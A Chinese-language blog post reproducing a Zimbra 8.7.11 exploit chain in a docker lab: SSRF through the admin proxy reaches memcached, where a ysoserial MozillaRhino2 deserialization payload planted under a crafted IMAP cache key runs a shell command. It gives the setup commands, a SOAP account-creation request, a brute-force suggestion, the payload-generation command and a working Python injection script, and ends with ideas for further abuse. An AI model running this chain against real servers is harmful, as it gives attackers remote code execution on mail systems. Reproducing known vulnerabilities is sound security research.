Zimbra SSRF+Memcached+反序列化漏洞利用复现

前言

之前懒了一下,没复现memcached反序列化的部分。

在看本文之前请先看完上一篇复现:
https://blog.csdn.net/fnmsd/article/details/88657083

本篇复现基于8.7.11进行复现,就是官网上直接下的。

纯技术研究,请勿使用在非法用途。

环境搭建

直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra
虚拟机中使用,请给4G以上内存。

docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra

如果过程失败就在启动完的终端里执行一次

cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes

,基本都是网络问题,重执行几次就好了。如果安装出了问题需要手工执行如下命令:

/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'

具体安装过程看docker中的/opt/start.sh

题外话:其实端口不映射出来也没问题,直接访问相应的docker ip就好(172.17.0.2之类的)

获取普通用户

由于memcached的反序列化与邮箱账户有关,此处我们需要一个普通的邮箱。

方法一:通过Admin接口创建用户

依然是通过Proxy走admin soap接口,name需要是个邮箱地址,password6位以上

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           <authToken>***ADMIN_AUTH_TOKEN***</authToken>
       </context>
   </soap:Header>
   <soap:Body>
     
        <CreateAccountRequest name="[email protected]" password="test12345" xmlns="urn:zimbraAdmin"> 
    </CreateAccountRequest>
   </soap:Body>
</soap:Envelope>

在这里插入图片描述

方法二:通过爆破获取

由于Proxy的代码逻辑问题,导致普通账号的Token也可访问Proxy,所以也可以用爆破或者其它方法获取账户。

使用普通账户登陆 AuthRequest的account by设置为name即可,详细说明看《A Saga of Code Executions on Zimbra>

后面需要用到id,爆破账号的ID可以在web页面登陆后的源码中获取:

在这里插入图片描述

SSRF to Memcached 反序列化

题外话:其实Zimbra的memcached默认是开在0.0.0.0上的,似乎是从memcached反射放大ddos开始Zimbra官方建议开到127.0.0.1.

在单机模式下,Imap的zimbraMemcachedClientServerList默认为空,无法使用ImapSession的反序列化,所以需要自己命令行设置下:

su - zimbra
zmprov ms `zmhostname` zimbraMemcachedClientServerList 127.0.0.1
zmcontrol restart #记得重启,其实应该可以直接reload的

具体代码点这

在这里插入图片描述
然后要拼memcached的Key,此处直接盗图:
在这里插入图片描述
cacheKey的规则如下:

zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity>

accountId就是上面添加用户返回的ID,也可以通过登陆zimbra首页获取,可能还有别的方法,此处不深究。
folderNo就保持2就好了,代表inbox
modseq和uidvalidity可以通过登陆imap获取,有关imap的协议请看这,获取完记得退出。盗图again:
在这里插入图片描述
下面生成payload,需要更新ysoserial并重新打包

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  MozillaRhino2 "/bin/touch /tmp/test12345" > wakaka.obj

原文作者说到(大体意思):

Zimbra类库中存在MozillaRhino1所需要用的类,但是yso中的gadget是基于 1.7R2,而zimbra中是是用的1.6R7,会导致gadget断掉,但是作者最后找到了一个新的gadget,也就是MozillaRhino2。

一个简单的请求脚本:

import requests
accountid = "1800dbfe-a197-4d73-bab5-87397a4757e1"
folderNo= 2
modseq = 12
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"wakaka.obj","rb") as f:
    payload = f.read()

set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"

headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=token~~;",
    "host":"foo:7071"
}
r = requests.post("https://127.0.0.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)

等几秒就可以Ctrl+C了。

imap的log看/opt/zimbra/log/mailbox.log

再次imap登陆同一账号并select inbox

查看/tmp目录

在这里插入图片描述
成功执行了命令

一点思考:

在有zimbra管理账号的情况下:

  1. 是否可以上传上传用插件或者其他自编写恶意插件?
    2ndGe0rg3师傅给告诉我可以的,具体实现参考如下内容:
  2. 是否可以用soap API去设置zimbraMemcachedClientServerList并重新加载memcached设置?(ZimbraAdmin API中有ReloadMemcachedClientConfig这么个东西)
    经测试: 可以的,zmprov也是调用的soap api的说。
    详细参考:
    https://wiki.zimbra.com/wiki/Zmprov
    https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html
    ModifyServer和ReloadMemcachedClientConfig两个操作。

事实上如果原来没有设置过zimbraMemcachedClientServerList的话,必须重启服务才能生效的。

在有只有普通账号的情况:
3. 能不能绕过proxy对请求头的过滤,达到一个任意内网访问代理的功能?

这些就哪天不懒的时候再说了:-D

猜你喜欢

转载自blog.csdn.net/fnmsd/article/details/89235589